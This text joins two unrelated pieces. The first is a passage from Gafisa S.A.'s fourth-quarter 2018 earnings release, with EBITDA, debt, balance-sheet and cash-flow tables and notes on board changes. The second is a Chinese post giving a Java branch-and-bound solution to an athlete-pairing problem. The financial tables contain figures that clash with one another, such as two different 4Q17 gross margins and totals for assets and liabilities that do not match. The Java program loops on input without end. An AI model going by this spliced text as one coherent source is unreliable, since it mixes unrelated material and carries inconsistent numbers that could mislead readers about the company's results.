    Litigation Expenses

    (127,668)

    (17,241)

    640%

    (46,417)

    175%

    (172,432)

    (107,848)

    60%

    Impairment of Alphaville

    (112,800)

    -

    -

    (101,953)

    11%

    (112,800)

    (101,953)

    11%

    Impairment of Software

    (4,963)

    -

    -

    (710)

    599%

    (4,963)

    (710)

    599%

    Others

    (6,003)

    (337)

    1,681%

    (1,166)

    415%

    (8,741)

    (1,039)

    741%

    Total

    (251,434)

    (17,578)

    1,330%

    (150,246)

    67%

    (298,936)

    (211,550)

    41%

    9

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Adjusted EBITDA

    Recurring adjusted EBITDA (excluding litigation expenses and the impairment of inventories, land, software and investment losses in Alphaville) amounted to positive R$127 million in 2018 versus negative R$50,8 million in 2017. In 4Q18, adjusted EBITDA according to the same criteria totaled positive R$29.3 million, 34% below 4Q17.

    Table 16 – Adjusted EBITDA (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17¹

    Y/Y (%)

    12M18

    12M17¹

    Y/Y (%)

    Net Income (Loss)

    (297,017)

    (37,225)

    698%

    (372,998)

    -20%

    (419,526)

    (760,240)

    -45%

    Discontinued Operation Result

    -

    -

    -

    -

    -

    -

    (98,175)

    -100%

    (+) Inventory and landbank adjustment

    63,145

    -

    -

    147,332

    -57%

    63,145

    147,332

    -57%

    Adjusted Net Income

    (233,872)

    (37,225)

    528%

    (225,666)

    4%

    (356,381)

    (711,083)

    -50%

    (+) Financial Results

    22,310

    19,179

    16%

    24,249

    -8%

    80,521

    107,268

    -25%

    (+) Income Tax / Social Contribution

    (24,085)

    670

    -3,695%

    (24,773)

    -3%

    (21,751)

    (23,100)

    -6%

    (+) Depreciation and Amortization²

    5,772

    6,393

    -10%

    6,084

    -5%

    21,290

    32,046

    -34%

    (+) Capitalized Interest

    13,506

    31,584

    -57%

    25,399

    -47%

    112,904

    116,515

    -3%

    (+) Expenses w Stock Option Plan

    15

    634

    -98%

    2,067

    -99%

    1,927

    4,964

    -61%

    (+) Minority Shareholders

    170

    (700)

    -124%

    (161)

    -206%

    (1,750)

    (281)

    523%

    (+) AUSA Income Effect

    -

    -

    -

    62,569

    -100%

    -

    186,856

    -100%

    (+) AUSA loss on investment realization Effect

    112,800

    -

    -

    127,429

    -11%

    112,800

    127,429

    -11%

    (+) Litigation Expenses

    127,668

    17,241

    640%

    46,417

    175%

    172,432

    107,848

    60%

    (+) Impairment of Software

    4,963

    -

    -

    710

    599%

    4,963

    710

    599%

    Recurring Adjusted EBITDA³

    29,247

    37,776

    -23%

    44,324

    -34%

    126,954

    (50,828)

    -350%

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    ² Adjusted by goodwill impairment test to remeasure the acquisition of Alphaville.

    ³ Adjusted by capitalized interests, litigation and stock option plan expenses (non-cash), minority shareholders, and impairmentof inventories, land, software and Alphaville.

    Financial Result

    In 4Q18, financial results totaled R$4.3 million, down 29% quarter-over-quarter, reflecting lower balance of cash and cash equivalents in the period; and down 28% year-over-year, due to the interest rate drop in the period. Financial expenses reached R$26.7 million in 4Q18, 12% lower than in 4Q17 due to reduced interest rates on funding in view of a lower level of indebtedness. Thus, 4Q18 reported a negative net financial result of R$22.3 million, compared to a negative net financial result of R$24.3 million in 4Q17.

    In the last 12 months, the net financial result was negative R$80.5 million versus a net loss of R$107.3 million in 2017.

    Taxes

    In 4Q18, income tax and social contribution had a positive impact of R$24 million, reflecting a tax credit of R$26 million deriving from the goodwill impairment recorded in the Alphaville investment. For this

    reason, the provision for income tax and social contribution (IR/CSLL) had a positive impact of R$21.8 million in 2018.

    10

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Net Result

    As a result of effects mentioned above, 4Q18’s recorded a positive result of R$11.6 million, compared to a net loss of around R$20 million in 3Q18 and in line with R$11.5 million in 4Q17, excluding results from the impairment of inventories, land, and goodwill of the stake in Alphaville. In the last 12 months, recurring adjusted net loss was R$66.2 million versus R$190.1 million in 2017.

    Table 17 – Net Result (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17¹

    Y/Y (%)

    12M18

    12M17¹

    Y/Y (%)

    Net Revenue

    192,917

    252,306

    -24%

    342,057

    -44%

    960,891

    786,174

    22%

    Gross Profit

    (29,710)

    48,746

    -161%

    (81,111)

    -63%

    114,722

    (120,312)

    -195%

    Gross Margin

    -15.4%

    19.3%

    -3,472 bps

    -23.7%

    8,312 bps

    11.9%

    -15.3%

    2,724 bps

    (-) Financial Costs

    (13,506)

    (31,584)

    -57%

    (25,399)

    -47%

    (112,904)

    (116,515)

    -3%

    (-) Inventory and landbank adjustment

    (63,145)

    -

    -

    (147,332)

    -57%

    (63,145)

    (147,332)

    -57%

    Recurring Adjusted Gross Profit

    46,942

    80,330

    -42%

    91,620

    -49%

    290,771

    143,535

    103%

    Recurring Adjusted Gross Margin

    24.3%

    31.8%

    -751 bps

    26.8%

    2,453 bps

    30.3%

    18.3%

    1,200 bps

    Adjusted Net Income²

    (233,872)

    (37,225)

    528%

    (225,666)

    4%

    (356,381)

    (612,908)

    -42%

    ( - ) Equity income from Alphaville

    -

    -

    -

    (62,569)

    -100%

    -

    (186,856)

    -100%

    ( - ) Loss of investment in Alphaville

    (112,800)

    -

    -

    (127,429)

    -11%

    (112,800)

    (127,429)

    -11%

    (-) Litigation Expenses

    (127,668)

    (17,241)

    640%

    (46,417)

    175%

    (172,432)

    (107,848)

    60%

    (-) Impairment of Software

    (4,963)

    -

    -

    (710)

    599%

    (4,963)

    (710)

    599%

    Recurring  Adjusted Net Result³

    11,559

    (19,984)

    -158%

    11,459

    1%

    (66,186)

    (190,065)

    -65%

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    ² Adjusted by impairmentof inventories and land.

    ³ Adjusted by capitalized interests, litigation expenses, impairmentof inventories, land, software and Alphaville.

    Backlog of Revenues and Results

    The balance of backlog revenues totaled R$196.8 million in 4Q18, with a margin to be recognized of 35.7%, 95 basis points higher than in 4Q17.

    Table 18 – Backlog Results (REF) (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17

    Y/Y (%)

    Backlog Revenues

    551,270

    587,344

    -6%

    620,821

    -11%

    Backlog Costs (units sold)

    (354,458)

    (371,566)

    -5%

    (405,064)

    -12%

    Backlog Results

    196,812

    215,778

    -9%

    215,758

    -9%

    Backlog Margin

    35.7%

    36.7%

    -104 bps

    34.8%

    95 bps

    Note:Backlogresultsnet ofPIS/COFINStaxes( 3.65%)andexcludingtheimpactofPVA(PresentValueAdjustment)methodaccordingtoLaw No. 11.638.

    Backlogresultscomprisetheprojectsrestrictedbyconditionprecedent.

    11

    6aa135df08e46fdeb224bb430ab3932a.gif 

    BALANCE SHEET

    Cash and Cash Equivalents and Marketable Securities

    On December 31, 2018, cash and cash equivalents and marketable securities totaled R$137.2 million.

    Receivables

    At the end of 4Q18, total accounts receivable totaled R$1.2 billion, down 13% versus 3Q18. Of this amount, R$642 million were already recognized in the balance sheet, and R$468 million are expected to be received in 2019.

    Table 19 – Total Receivables (R$ 000)

    4Q18

    3Q18

    Q/Q(%)

    4Q17

    Y/Y (%)

    Receivables from developments (off balance sheet)

    572,154

    609,594

    -6%

    644,340

    -11%

    Receivables from PoC- ST (on balance sheet)

    467,992

    569,166

    -18%

    374,886

    25%

    Receivables from PoC- LT (on balance sheet)

    174,018

    214,405

    -19%

    199,317

    -13%

    Total

    1,214,164

    1,393,165

    -13%

    1,218,543

    -0,4%

    Notes: ST – Short term | LT- Long term | PoC – Percentage of Completion Method.

    Receivables from developments: accounts receivable not yet recognized according to PoC and BRGAAP.

    Receivables from PoC: accounts receivable already recognized according to PoC and BRGAAP.

    Table 20 – Receivables Schedule (R$ 000)

    Total

    2019

    2020

    2021

    2022

    2023 – and after

    Receivables from PoC

    642,010

    467,992

    108,726

    59,753

    1,413

    4,126

    Cash Generation

    Cash generation totaled R$13.7 million in 4Q18 due to greater control of expenses in the quarters, a result of the Company’s turnaround process.

    Table 21 – Cash Generation (R$ 000)

    1Q18

    2Q18

    3Q18

    4Q18

    Availabilities 1

    204,938

    212,897

    194,445

    137,160

    Change in Availabilities (1)

    57,476

    7,959

    (18,452)

    (57,285)

    Total Debt + Investor Obligations

    983,468

    964,770

    960,344

    889,413

    Change in Total Debt + Investor Obligations (2)

    (121,430)

    (18,698)

    (4,426)

    (70,931)

    Capital Increase (3)

    250,766

    -

    -

    -

    Cash Generation in the period (1) - (2) - (3)

    (71,860)

    26,657

    (14,026)

    13,646

    Final Accumulated Cash Generation

    (71,860)

    (45,203)

    (59,229)

    (45,583)

    ¹ Cash and cash equivalents. and marketable securities.

    12

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Liquidity

    In 4Q18, net debt reached R$752.3 million, down 21.0% year-over-year.

    Table 22 – Debt and Investor Obligations (R$ 000)

    4Q18

    3Q18

    Y/Y(%)

    4Q17

    Y/Y (%)

    Debentures – Working Capital (A)

    265,666

    281,325

    -6%

    207,713

    28%

    Project Financing SFH – (B)

    528,140

    567,696

    -7%

    733,103

    -28%

    Working Capital (C)

    95,607

    111,323

    -14%

    164,082

    -42%

    Total Debt (A)+(B)+(C)= (D)

    889,413

    960,344

    -7%

    1,104,898

    -20%

    Cash and Availabilities ¹ (E)

    137,160

    194,446

    -29%

    147,462

    -7%

    Net Debt (D)-(E) = (F)

    752,253

    765,898

    -2%

    957,436

    -21%

    Equity + Minority Shareholders (G)

    493,191

    871,955

    -43%

    715,069

    -31%

    (Net Debt) / (Equity)  (F)/(G) = (H)

    152.5%

    87.8%

    6,469 bps

    133.9%

    1,863 bps

    (Net Debt – Proj, Fin,) /Equity  ((F)-(B))/(G) = (I)

    45.4%

    22.7%

    2,271 bps

    31.4%

    1,407 bps

    ¹ Cash and cash equivalents and marketable securities.

    The Company ended 4Q18 with R$348.4 million in total short-term debt, 39% of total debt versus 51.5% at the end of 4Q17. We point out that during 2018, the Company amortized approximately R$639.4 million of debts contracted. On December 31, 2018, the consolidated debt average cost was 11.44% p.a., or 178.2% of CDI accumulated in 2018.

    Table 23 – Debt Maturity (R$ 000)

    Average Cost (a.a.)

    Total

    Until Dec/19

    Until Dec/20

    Until Dec/21

    Until Dec/22

    Debentures – Working Capital (A)

    CDI + 3% / CDI + 3.75% / CDI + 5.25% / IPCA + 8.37%

    265,666

    62,783

    157,700

    43,391

    1,792

    Project Financing SFH (B)

    TR + 8.30% a 14.19% / 12.87% / 143% CDI

    528,140

    250,935

    201,035

    76,170

    -

    Working Capital (C)

    135% CDI / CDI + 2.5% / CDI + 3% / CDI + 3.70% / CDI + 4.25%

    95,607

    34,678

    15,583

    45,346

    -

    Total (A)+(B)+(C) = (D)

    889,413

    348,396

    374,318

    164,907

    1,792

    Obligations with investors (E)

    -

    -

    -

    -

    -

    Total Debt (D)+(E) = (F)

    889,413

    348,396

    374,318

    164,907

    1,792

    % of Total Maturity per period

    39%

    42%

    19%

    0.2%

    Project  debt  maturing  as  %  of  total  debt  (C)/ (F)

    72%

    54%

    46%

    -

    Corporate  debt  maturing  as  %  of  total  debt  ((A)+(C) + (E))/ (F)

    28%

    46%

    54%

    100%

    Ratio Corporate Debt / Mortgage

    40.6% / 59.4%

    13

    6aa135df08e46fdeb224bb430ab3932a.gif 

    SUBSEQUENT EVENTS

    New Headquarters Address

    On January 8, 2019, a lease agreement was signed for the Company’s new headquarters in São Luiz Condominium, at Av. Pres. Juscelino Kubitschek, 1830. With our headquarters moving to a location better-suited to us, there will be a reduction in leasing, condominium, and IPTU (municipal real estate tax) expenses by approximately R$4 million p.a.

    Change in Relevant Shareholding

    GWI’s reduced stake

    On February 14, 2019, the GWI Group reduced its stake in the Company to 7.70% of common shares issued by the Company (3,338,600 shares). On February 20, 2019, GWI Group then held 2,199,300 shares, accounting for 4.89% of the Company’s capital stock, no longer holding relevant shareholding in Gafisa.

    Planner’s increased interest

    On February 14, 2019, Planner, by means of investment funds managed by it, reached an equity interest of eight million (8,000,000) common shares issued by Gafisa, corresponding to 18.45% of total common shares issued by the Company. In a notice sent to the Company, Planner stated its intention to change Gafisa’s administrative structure, undertaking to keep the market informed on this issue.

    Change in the Board of Directors

    On February 17, 2019, the following Messrs. were elected to hold two remaining positions in the Company’s Board of Directors, with terms lasting until the next General Meeting of the Company:

    Augusto Marques da Cruz Filho:Augusto holds a PhD in Economic Theory from the Institute of Economic Research (IPE) of the University of São Paulo, graduated in Economic Sciences from the Economic and Administration University of the University of São Paulo (FEA-USP), and attended Abroad Developmente in Insead – Institut Européen d’Aministration des Affaires. For 11 years he has occupied various roles at Grupo Pão de açúcar: Executive Officer, Administrative and Financial Officer, and Chief Officer until leaving the position in 2005. Between 2005 and 2010 he was a member of the Board of Directors and Audit Committee of B2W. Since April 2016, he has been President of the Board of Directors of BR Distribuidora. He is also a member of the Board of Directors of JSL S.A. and General Shopping.

    Oscar Segall: Oscar is a strong figure in the Brazilian real estate market. He co-founded Klabin Segall and headed BTG Pactual’s real estate department. He led the launch of over 130 projects, delivered more than 25,000 units, and won several real estate awards. In addition to his vast experience in the domestic market, Oscar has experience buying and selling land in the US market and developing real estate projects.

    On this same date, Messrs. Mu Hak You and Thiago Hi Joon You tendered their resignation as members of the Board of Directors, which continues being composed of five (5) sitting members.

    14

    6aa135df08e46fdeb224bb430ab3932a.gif 

    On March 15, 2019, the following Messrs. were elected to hold two remaining positions in the Company’s Board of Directors, with a term of office until the next Shareholders’ Meeting of the Company:

    Thomas Reichenheim: he holds a degree in Business Administration from Getúlio Vargas Foundation (1972) and in Law from FMU (Faculdades Metropolitanas Unidas) - 1972. Mr. Reichenheim is a former officer of several companies, notably, Banco Auxiliar, Banco Auxiliar de Investimento, Auxiliar Seguradora, La Fonte Fechaduras, and LFTel S.A. He is the general partner of Carisma Comercial Ltda., T.R Portfolios Ltda. and advisor in IPOs and financial institutions.

    Roberto Portella: he is a partner of the law firm Demarest Almeida, Advisory Sector, member of the Legal Committee of the American Chamber for Brazil (AMCHAN-SP), member of Petro S.A.’s Fiscal Council.

    The Board of Directors is now composed of 7 sitting members.

    Annual Shareholders’ Meeting

    In view of the nomination of new members of the Board of Directors, and the new composition of the Audit Committee, with a 2/3 change of its members to better assess the financial statements, the Company altered the date of the Annual Shareholders’ Meeting from April 24, 2019, to April 30, 2019.

    Extraordinary Shareholders’ Meeting

    On March 15, 2019, the Company received a letter from Planner Corretora de Valores S.A. and Planner Redwood Asset Management Administração de Recursos Ltda. (both jointly referred to as “Planner”), in the capacity of investment fund managers, which jointly hold 18.55% of Gafisa’s capital stock, requesting the Company’s Board of Directors to call for an Extraordinary Shareholders’ Meeting (“ESM”). Referred Planner’s call for an ESM follows its intention of altering Gafisa’s administrative structure.

    The Extraordinary Shareholders’ Meeting is scheduled for April 15, 2019, at 9:00 a.m. at the Company’s headquarters.

    15

    6aa135df08e46fdeb224bb430ab3932a.gif 

    08ad033908115f97d7705f79ed1e3298.png

    São Paulo, March 28, 2019.

    Alphaville Urbanismo SA released its results for the fourth quarter of 2018.

    Financial Results

    In 4Q18, net revenue came in at negative R$32 million and net loss totaled R$222 million.

    4Q18

    4Q17

    12M18

    12M17

    4Q18 vs. 4Q17

    2018 vs. 2017

    Net revenue

    -32

    -45

    69

    108

    -29%

    -36%

    Net Income

    -222

    -350

    -755

    -764

    -37%

    -1%

    It is worth mentioning that Gafisa discontinued the recognition of its share in future losses after reducing the accounting balance of its 30% stake in Alphaville's share capital to zero.

    For further information, please contact our Investor Relations team atri@alphaville.com.bror +55 11 3038-7131.

    16

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Consolidated Income Statement

    4Q18

    3Q18

    Q/Q (%)

    4Q17¹

    Y/Y (%)

    12M18

    12M17¹

    Y/Y (%)

    Net Revenue

    192,917

    252,306

    -24%

    342,057

    44%

    960,891

    786,174

    22%

    Operating Costs

    (222,627)

    (203,560)

    9%

    (423,168)

    -47%

    (846,169)

    (906,486)

    -7%

    Gross Profit

    (29,710)

    48,746

    -161%

    (81,111)

    -63%

    114,722

    (120,312)

    -195%

    Gross Margin

    -15.4%

    19.3%

    -3,472 bps

    -6.5%

    -892 bps

    11.9%

    -15.3%

    2,724 bps

    Operating Expenses

    (268,912)

    (66,822)

    302%

    (292,572)

    -8%

    (477,228)

    (654,216)

    -27%

    Selling Expenses

    (11,389)

    (20,653)

    -45%

    (24,399)

    -53%

    (84,431)

    (87,568)

    -4%

    General and Administrative Expenses

    4,752

    (22,300)

    -121%

    (24,165)

    -120%

    (57,089)

    (92,713)

    -38%

    Other Operating Revenue/Expenses

    (251,434)

    (17,578)

    1,330%

    (150,246)

    67%

    (298,935)

    (211,550)

    41%

    Depreciation and Amortization

    (5,772)

    (6,393)

    -10%

    (31,560)

    -82%

    (21,290)

    (57,522)

    -63%

    Equity Income

    (5,069)

    102

    -5,070%

    (62,202)

    -92%

    (15,483)

    (204,863)

    -92%

    Operational Result

    (298,622)

    (18,076)

    1,552%

    (373,683)

    -20%

    (362,506)

    (774,528)

    -53%

    Financial Income

    4,342

    6,130

    -29%

    6,053

    -28%

    19,553

    29,733

    -34%

    Financial Expenses

    (26,652)

    (25,309)

    5%

    (30,302)

    -12%

    (100,074)

    (137,001)

    -27%

    Net Income Before Taxes on Income

    (320,932)

    (37,255)

    761%

    (397,932)

    -19%

    (443,027)

    (881,796)

    -50%

    Deferred Taxes

    25,100

    -

    -

    25,932

    -3%

    25,100

    25,932

    -3%

    Income Tax and Social Contribution

    (1,015)

    (670)

    51%

    (1,159)

    -12%

    (3,349)

    (2,832)

    18%

    Net Income After Taxes on Income

    (296,847)

    (37,925)

    683%

    (373,159)

    -20%

    (421,276)

    (858,696)

    -51%

    Continued Op. Net Income

    (296,847)

    (37,925)

    683%

    (373,159)

    -20%

    (421,276)

    (858,696)

    -51%

    Discontinued Op. Net Income

    -

    -

    -

    -

    -

    -

    98,175

    -100%

    Minority Shareholders

    170

    (700)

    -124%

    (161)

    -206%

    (1,750)

    (281)

    523%

    Net Income

    (297,017)

    (37,225)

    698%

    (372,998)

    -20%

    (419,526)

    (760,240)

    -45%

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    17

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Consolidated Balance Sheet

    4Q18

    3Q18

    Q/Q (%)

    4Q17¹

    Y/Y (%)

    Current Assets

    Cash and Cash equivalents

    32,304

    7,931

    307%

    28,527

    13%

    Securities

    104,856

    186,515

    -44%

    118,935

    -12%

    Receivables from clients

    467,993

    569,166

    -18%

    374,886

    25%

    Properties for sale

    890,460

    858,726

    4%

    990,286

    -10%

    Other accounts receivable

    106,943

    104,116

    3%

    110,626

    -3%

    Prepaid expenses and other

    2,668

    3,184

    -16%

    5,535

    -52%

    Land for sale

    78,148

    34,212

    128%

    102,352

    -24%

    Non-current asset for sale

    -

    -

    -

    -

    -

    SubTotal

    1,683,371

    1,763,850

    -5%

    1,731,147

    -3%

    Long-term Assets

    Receivables from clients

    174,017

    214,405

    -19%

    199,317

    -13%

    Properties for sale

    198,941

    263,937

    -25%

    339,797

    -41%

    Other

    123,603

    116,874

    6%

    86,351

    43%

    Subtotal

    496,561

    595,216

    -17%

    625,465

    -21%

    Intangible, Property and Equipment

    31,843

    43,047

    -26%

    40,622

    -22%

    Investments

    314,505

    465,438

    -32%

    479,126

    -34%

    Total Assets

    2,526,280

    2,867,551

    -12%

    2,876,360

    -12%

    Current Liabilities

    Loans and financing

    285,612

    170,171

    68%

    481,073

    -41%

    Debentures

    62,783

    31,196

    101%

    88,177

    -29%

    Obligations for purchase of land advances

    from customers

    113,355

    145,468

    -22%

    156,457

    -28%

    Material and service suppliers

    119,847

    106,363

    13%

    98,662

    21%

    Taxes and contributions

    57,276

    56,822

    1%

    46,430

    23%

    Other

    400,142

    297,503

    35%

    385,444

    4%

    Subtotal

    1,039,015

    807,523

    29%

    1,256,243

    -17%

    Long-term liabilities

    Loans and financings

    338,135

    508,848

    -34%

    416,112

    -19%

    Debentures

    202,883

    250,129

    -19%

    119,536

    70%

    Obligations for Purchase of Land and

    advances from customers

    196,076

    207,765

    -6%

    152,377

    29%

    Deferred taxes

    49,372

    74,473

    -34%

    74,473

    -34%

    Provision for Contingencies

    155,608

    98,557

    58%

    82,063

    90%

    Other

    52,000

    48,301

    8%

    60,487

    -14%

    Subtotal

    994,074

    1,188,073

    -16%

    905,048

    10%

    Shareholders’ Equity

    Shareholders’ Equity

    491,317

    870,252

    -44%

    711,222

    -31%

    Minority Interest

    1,874

    1,703

    10%

    3,847

    -51%

    Subtotal

    493,191

    871,955

    -43%

    715,069

    -31%

    Total liabilities and Shareholders’ Equity

    2,526,280

    2,867,551

    -12%

    2,878,360

    -12%

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    18

    6aa135df08e46fdeb224bb430ab3932a.gif 

    Consolidated Cash Flow

    4Q18

    4Q17¹

    12M18

    12M17¹

    Net Income (Loss) before taxes

    (320,931)

    (397,932)

    (443,027)

    (881,796)

    Expenses/revenues that does not impact working capital

    203,511

    193,567

    227,218

    481,285

    Depreciation and amortization

    5,772

    6,084

    21,290

    32,046

    Impairment

    (35,220)

    147,332

    (74,689)

    136,191

    Expense with stock option plan

    15

    2,066

    1,927

    4,964

    Unrealized interest and fees, net

    927

    (807)

    11,156

    46,168

    Equity Income

    5,069

    62,202

    15,483

    204,863

    Provision for guarantee

    (474)

    3,941

    (4,130)

    (3,498)

    Provision for contingencies

    127,668

    46,417

    172,432

    107,848

    Profit Sharing provision

    (18,545)

    3,981

    (14,750)

    13,375

    Provision (reversal) for doubtful accounts

    (22,790)

    (205,050)

    (41,827)

    (187,283)

    Gain / Loss of financial instruments

    -

    (28)

    (763)

    (818)

    Impairment losses

    112,800

    101,953

    112,800

    101,953

    Goodwill write-off AUSA

    -

    25,476

    -

    25,476

    Stock sale update

    28,289

    -

    28,289

    -

    Clients

    21,332

    79,562

    (95,740)

    260,090

    Properties held for sale

    132,643

    82,661

    339,575

    346,210

    Other accounts receivable

    (6,516)

    (45)

    (15,880)

    (9,317)

    Prepaid expenses and deferred sales expenses

    516

    (9)

    2,867

    (2,987)

    Obligations on land purchase and advances from clients

    (43,802)

    40,037

    597

    13,137

    Taxes and contributions

    454

    (3,982)

    10,846

    (5,412)

    Suppliers

    24,202

    8,163

    32,732

    18,683

    Payroll, charges, and provision for bonuses

    (9,539)

    (5,379)

    (6,459)

    (14,266)

    Other liabilities

    59,599

    15,052

    (3,434)

    (20,341)

    Related party operations

    (2,055)

    (4,642)

    (14,497)

    (27,548)

    Taxes paid

    (1,014)

    (1,159)

    (3,348)

    (2,832)

    Cash provided by/used in operating activities /discontinued operation

    -

    -

    -

    51,959

    Net cash from operating activities

    58,390

    5,924

    31,450

    206,865

    Investment Activities

    -

    -

    -

    -

    Acquisition of properties and equipment

    5,432

    (2,093)

    (12,511)

    (20,463)

    Capital contribution to parent company

    (641)

    (3,892)

    (4,629)

    (2,598)

    Redemption of securities, collaterals, and credits

    222,333

    332,660

    1,104,875

    1,183,878

    Investment in marketable securities and restricted credits

    (140,674)

    (322,223)

    (1,090,796)

    (1,079,167)

    Cash provided by/used in investment activities / discontinued operation

    -

    -

    -

    48,663

    Transaction costs from discontinued operation

    -

    -

    -

    (9,545)

    Receivable of preemptive right exercise ref, Tenda

    -

    -

    -

    219,510

    Net cash from investment activities

    -

    105,170

    -

    105,170

    Cash provided by/used in investment activities / discontinued operation

    86,450

    109,622

    (3,061)

    445,448

    Funding Activities

    -

    -

    -

    -

    Related party contributions

    -

    -

    -

    (1,237)

    Addition of loans and financing

    34,927

    197,565

    412,768

    453,370

    Amortization of loans and financing

    (106,785)

    (311,130)

    (639,409)

    (1,032,206)

    Assignment of credit receivables, net

    -

    -

    -

    21,513

    Related Parties Operations

    (446)

    (581)

    (1,289)

    5,044

    Sale of treasury shares

    -

    501

    715

    818

    Cash provided by/used in financing activities/ discontinued operation

    -

    -

    -

    24,089

    Proceeds from sale of treasury shares

    (48,163)

    -

    (48,163)

    -

    Capital Increase

    -

    -

    167

    -

    Subscription and payment of common shares

    -

    -

    250,599

    -

    Net cash from financing activities

    (120,467)

    (113,645)

    (24,612)

    (528,609)

    Net cash variation for sales operations

    -

    -

    -

    (124,711)

    Increase (decrease) in cash and cash equivalents

    24,373

    1,901

    3,777

    (1,007)

    Beginning of the period

    7,931

    26,626

    28,527

    29,534

    End of the period

    32,304

    28,527

    32,304

    28,527

    Increase (decrease) in cash and cash equivalents

    24,373

    1,901

    3,777

    (1,007)

    ¹ Resubmitted by adoption of IRFS 15 and IFRS 9.

    19

    6aa135df08e46fdeb224bb430ab3932a.gif 

    This release contains forward-looking statements about business prospects, estimates for operating and financial results, and Gafisa’s growth prospects. These are merely projections and, as such, are based exclusively on the expectations of management concerning the future of the business and its continued access to capital to fund the Company’s business plan. Such forward-looking statements depend, substantially, on changes in market conditions, government regulations, competitive pressures, the performance of the Brazilian economy, and the industry, among other factors; therefore, they are subject to change without prior notice.

    9ceba299f759480e6e5f5fff70d04308.gif

    20

    SIGNATURE

    Pursuant to the requirements of the Securities Exchange Act of 1934, the registrant has duly caused this report to be signed on its behalf by the undersigned, thereunto duly authorized.

    Date: March 28, 2019

    Gafisa S.A.

    By:

    /s/ Ana Maria Loureiro Recart

    Name:   Ana Maria Loureiro Recart

    Title:     Chief Executive Officer

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    展开全文
  • 6-6 运动员最佳配对问题 问题描述 羽毛球队有男女运动员各 n 人。给定 2 个 n×n 矩阵 P 和 Q。P[i][j]是男运动员 i 和女运动员 j 配对组成混合双打的男运动员竞赛优势;Q[i][j]是女运动员 i 和男运动员 j 配合...

    6-6 运动员最佳配对问题


    问题描述

    羽毛球队有男女运动员各 n 人。给定 2 个 n×n 矩阵 P 和 Q。P[i][j]是男运动员 i 和女运动员 j 配对组成混合双打的男运动员竞赛优势;Q[i][j]是女运动员 i 和男运动员 j 配合的女运 动员竞赛优势。由于技术配合和心理状态等各种因素影响,P[i][j]不一定等于 Q[j][i]。男运 动员 i 和女运动员 j 配对组成混合双打的男女双方竞赛优势为 P[i][j]*Q[j][i]。设计一个算法, 计算男女运动员最佳配对法,使各组男女双方竞赛优势的总和达到最大。

    设计一个优先队列式分支限界法,对于给定的男女运动员竞赛优势,计算男女运动员最 佳配对法,使各组男女双方竞赛优势的总和达到最大。

    数据输入:
    第一行有 1 个正整数 n (1≤n≤20)。接下来的 2n 行,每 行 n 个数。前 n 行是 p,后 n 行是 q。


    Java

    package Chapter6FenZhiXianJieFa;
    
    import java.util.PriorityQueue;
    import java.util.Queue;
    import java.util.Scanner;
    
    public class YunDongYuanZuiJiaPeiDui {
    
        private static class Pref implements Comparable{
            int s,val;
            int[] r;
    
            public int compareTo(Object o){
                Pref pref = (Pref) o;
                int result = Integer.compare(pref.val, val);//降序
    
                return result;
            }
    
            private void compute(int ii){
                int temp=0;
                for(int i=1; i<=ii; i++)
                    temp += p[i][r[i]]*q[r[i]][i];
    
                val = temp;
            }
        }
    
        private static int n;
        private static int[] bestr;
        private static int[][] p,q;
        private static int best;
    
        public static void main(String[] args){
            Scanner input = new Scanner(System.in);
    
            while (true){
                n = input.nextInt();
                bestr = new int[n+1];
                p = new int[n+1][n+1];
                q = new int[n+1][n+1];
    
                for(int i=1; i<=n; i++)
                    for(int j=1; j<=n; j++)
                        p[i][j] = input.nextInt();
    
                for(int i=1; i<=n; i++)
                    for(int j=1; j<=n; j++)
                        q[i][j] = input.nextInt();
    
                System.out.println(getBest());
            }
        }
    
        private static int getBest(){
            Queue<Pref> H = new PriorityQueue<>(100000);
            Pref E = new Pref();
            E.r = new int[n+1];
            for(int i=1; i<=n; i++) E.r[i]=i;
            while (true){
                if(E.s == n-1){
                    E.compute(n);
                    if(E.val > best){
                        bestr=E.r; best=E.val;
                    }
                }else {
                    for(int i=E.s+1; i<=n; i++){
                        Pref N = new Pref();
                        N.r = new int[n+1];
                        N.s=E.s+1; N.val=E.val;
                        for(int j=1; j<=n; j++) N.r[j]=E.r[j];
                        N.r[N.s] = E.r[i];
                        N.r[i] = E.r[N.s];
                        N.compute(N.s);
                        H.add(N);
                    }
                }
                if(H.isEmpty()) return best;
                else E = H.poll();
            }
        }
    }
    

    Input & Output

    3
    10 2 3
    2 3 4
    3 4 5
    2 2 2
    3 5 3
    4 5 1
    52
    
    
    
    10
    2 61 43 89 43 81 95 30 10 14 
    57 71 18 91 42 23 87 88 99 68 
    37 43 64 18 15 81 36 80 53 76 
    97 75 17 12 83 45 92 99 19 18 
    60 59 44 32 85 30 36 87 87 96 
    2 25 7 56 36 22 20 15 83 71 
    32 97 80 17 9 66 40 45 63 43 
    64 48 4 88 31 14 38 3 76 10 
    2 66 37 12 58 68 67 46 79 73 
    76 54 73 34 47 59 86 65 88 4 
    17 23 57 79 84 100 92 38 33 27 
    34 57 65 75 44 77 4 62 61 90 
    73 85 5 93 90 14 60 38 49 42 
    20 51 49 82 57 29 100 86 92 87 
    80 38 85 35 73 57 41 67 50 39 
    85 64 78 83 98 37 80 86 59 68 
    83 95 47 34 92 36 54 39 2 79 
    45 71 50 63 96 6 31 39 74 83 
    47 76 73 19 88 5 47 9 15 69 
    63 13 71 53 13 4 28 24 89 6
    63519

    Reference

    王晓东《计算机算法设计与分析》(第3版)P227

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